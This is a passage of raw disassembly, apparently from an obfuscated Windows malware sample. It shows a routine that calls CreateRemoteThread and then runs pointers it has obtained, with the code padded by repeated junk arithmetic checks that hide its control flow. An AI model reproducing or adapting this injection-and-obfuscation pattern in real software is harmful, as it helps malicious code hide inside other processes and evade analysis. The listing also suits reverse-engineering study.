mov dword [rsp + 0x28], r13d
mov r8d, 0x1000
mov rcx, r15
mov rax, qword [rax + 0x3e0]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r14, rax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 2
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005abc1
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, r14
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005aadc
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14005aadc
mov edi, esi
jmp 0x14005ab70
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005ab6c
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si edi, xmm0
jmp 0x14005ab70
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
movsx r8d, byte [str._b_t3p]
add eax, ecx
div r8d
movsx edx, byte [reloc.WS2_32.dll_accept]
sub eax, edx
imul eax, edi
test eax, eax
je 0x14005abc1
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005ad94
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, r14
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005acaf
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x14005ad43
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005ad3f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si esi, xmm0
jmp 0x14005ad43
mov esi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
mov rbx, qword [rbp - 0x50]
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x14005ad98
mov rcx, r14
call rbx
jmp 0x14005ad98
mov rbx, qword [rbp - 0x50]
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14005adaf
mov rbx, qword [rbp - 0x50]
mov rcx, r15
call rbx
xor r12d, r12d
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
mov r13, qword [rsp + 0x2b0]
xor edx, edx
movsx ecx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005aeaa
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x14005af43
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005af3a
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
jmp 0x14005af3e
mov eax, dword [rsp + 0x70]
cmp r12d, eax
jge 0x14005af47
movzx eax, byte [rbp - 0x78]
mov r12, qword [rsp + 0x2a8]
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.1403a8760
mov rbx, qword [rsp + 0x2b8]
add rsp, 0x270
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret